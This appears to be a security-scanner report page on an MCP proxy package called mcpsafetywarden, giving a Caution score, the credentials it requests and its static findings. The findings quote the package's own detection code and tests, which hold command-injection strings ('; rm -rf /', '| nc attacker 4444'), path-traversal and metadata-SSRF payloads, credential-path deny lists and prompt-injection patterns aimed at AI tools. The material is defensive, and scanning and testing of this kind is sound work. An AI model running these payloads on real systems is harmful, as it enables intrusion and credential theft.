mcpsafetywarden@1.6.2
CAUTION· not startedPublisher claims: "MCP proxy server with behavioral profiling, security scanning, risk gating, and safe execution" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
ANTHROPIC_API_KEYAWS_SECRET_ACCESS_KEYGEMINI_API_KEYGH_TOKENGITHUB_TOKENGOOGLE_API_KEYMCP_AUTH_TOKENMCP_SCANNER_API_KEYMCP_SCANNER_LLM_API_KEYOPENAI_API_KEYSNYK_TOKENor--scan-api-keyConfiguration, not credentials: MCP_DB_ENCRYPTION_KEY, MCP_DB_PATH, MCP_GRAPH_POLICY, MCP_HOST, MCP_PORT, MCP_SANDBOX, MCP_SANDBOX_IMAGE, MCP_SANDBOX_MICROVM_CMD, MCP_TRANSPORT, OLLAMA_BASE_URL, OLLAMA_MODEL, PROGRAMDATA- Where it talks to
- no vendor host named in the codeAlso githubusercontent.com, mermaid.live, osv.dev, google.internal, algolia.com, snyk.io, reactjs.org, reactrouter.com — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names githubusercontent.com, mermaid.live, osv.dev, google.internal, algolia.com, snyk.io, reactjs.org, reactrouter.com as well as its own vendor. The guard injects ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GEMINI_API_KEY, GH_TOKEN, GITHUB_TOKEN, GOOGLE_API_KEY, MCP_AUTH_TOKEN, MCP_SCANNER_API_KEY, MCP_SCANNER_LLM_API_KEY, OPENAI_API_KEY, SNYK_TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: References a credential file in the home directory; URL to the cloud instance metadata address; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
REAL: A file-path arg containing ../ sequences, /etc/passwd, ~/.ssh/id_rsa, .aws/credentials,Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."http://169.254.169.254/latest/meta-data/"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.netrc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.gnupg",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.netrc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.docker/config.json",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r"download.?file|\.\.\/|\/etc\/|\/home\/|\.ssh|\.pem|\.env)\b",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.ssrf http://169.254.169.254/latest/meta-data/, http://metadata.google.internal/Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.REAL: A file-path arg containing ../ sequences, /etc/passwd, ~/.ssh/id_rsa, .aws/credentials,Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r"|[/\\]\.netrc(\b|$)"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.aws",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r"|(^|[/\\])\.env($|[/\\.])"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- "Invoke the [tool_name] tool with path='/etc/passwd'"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."; sleep 5" (time-based blind), "| nc attacker 4444" - record as attempted, note responseFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."~/.ssh",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.kube",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.re.compile(r"\b(env|environment|environ|process\.env|os\.environ|dotenv|\.env)\b", re.I),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env files - especially when the tool description does not indicate it reads arbitrary paths.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert "~/.ssh" in p.filesystem.denyFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.proc = subprocess.run(cmd, capture_output=True, text=True, timeout=_PKG_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.…_ms","output_size","notes"]);iy(`history-${new Date().toISOString().slice(0,10)}.csv`,ie),r(`Exported ${G.length.toLocaleString()} call${G.length===1?"":"s"} to CSV.`)}catch(ne){r(`Export failed: ${Ft(ne)}`)}finally{I(!1)}};let de="";retur…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.result = _run(argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.path_traversal ../../etc/passwd, ..%2f..%2fetc%2fpasswd, ....//....//etc/passwdFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.lfi_rfi /etc/shadow, file:///etc/passwd, \\\\UNC\\shareFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.out = subprocess.run([spawn.command, *spawn.args], env=spawn.env, capture_output=True, text=True, timeout=40)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc2 = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.…d 0,(e.current.flags&128)===128)}catch{}}var Bt=Math.clz32?Math.clz32:Ch,Eh=Math.log,_h=Math.LN2;function Ch(e){return e>>>=0,e===0?32:31-(Eh(e)/_h|0)|0}var As=64,Us=4194304;function Gr(e){switch(e&-e){case 1:return 1;case 2:return 2;case …Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.~/.ssh/id_rsa", "send results to webhook.site/...", "always do X when this tool is used".Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.inspect_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."%2e%2e%2f%2e%2e%2fetc%2fpasswd", "....//....//etc/passwd", "..%252f..%252fetc%252fpasswd"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.~/.ssh/id_rsa", "send results to webhook.site/...", "always do X when this tool is used".Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.verify_remote({"url": "http://169.254.169.254/mcp"}, reserved)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."~/.ssh/id_rsa", "~/.aws/credentials", "/etc/passwd", "/etc/shadow", "~/.env", "~/.netrc"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.out = subprocess.run([spawn.command, *spawn.args], env=spawn.env, capture_output=True, text=True, timeout=40)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- **HTML entities**: <script>, ignore (spells "ignore")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."%2e%2e%2f%2e%2e%2fetc%2fpasswd"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.command_injection ; id, | whoami, && cat /etc/passwd, $(id), `id`, ${IFS}cat${IFS}/etc/passwdFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.ids_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.unbound = from_dict({"filesystem": {"workdir": ".", "deny": ["~/.ssh"]}})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.virtual address space and kills modern runtimes, and a wall clock would killFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.proc = subprocess.run(cmd, capture_output=True, text=True, timeout=_PKG_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.argsmod.scan_args_for_threats("run", {"path": "../../etc/passwd"}, llm_provider="anthropic", llm_api_key="x")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.…fy(i):void 0});if(!u.ok){let c=`${u.status} ${u.statusText}`;try{const f=await u.json();typeof(f==null?void 0:f.detail)=="string"?c=f.detail:Array.isArray(f==null?void 0:f.detail)&&(c=f.detail.map(h=>h.msg).join(", "))}catch{}throw new Jf(…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.(tmp_path / "config" / ".env").write_text("KEY=v")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.result = _run(argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.bound = from_dict({"filesystem": {"workdir": str(tmp_path), "deny": [str(tmp_path / "secretdir"), "**/.env"]}})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.args={"repoName": "$(rm -rf /)"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert any(m.endswith(".env") for m in masked)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."env": {"API_KEY": "sk-live-abcdefghijklmnopqrstuvwxyz123456"},Fix: Never read or enumerate credential locations; accept a documented environment variable instead." urllib.request.urlopen('http://10.0.0.1/', timeout=8)\n"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcpsafetywarden@1.6.2 as of 4d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- URL to the cloud instance metadata address≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Pipe to network utility≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim gautamvarmadatla: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.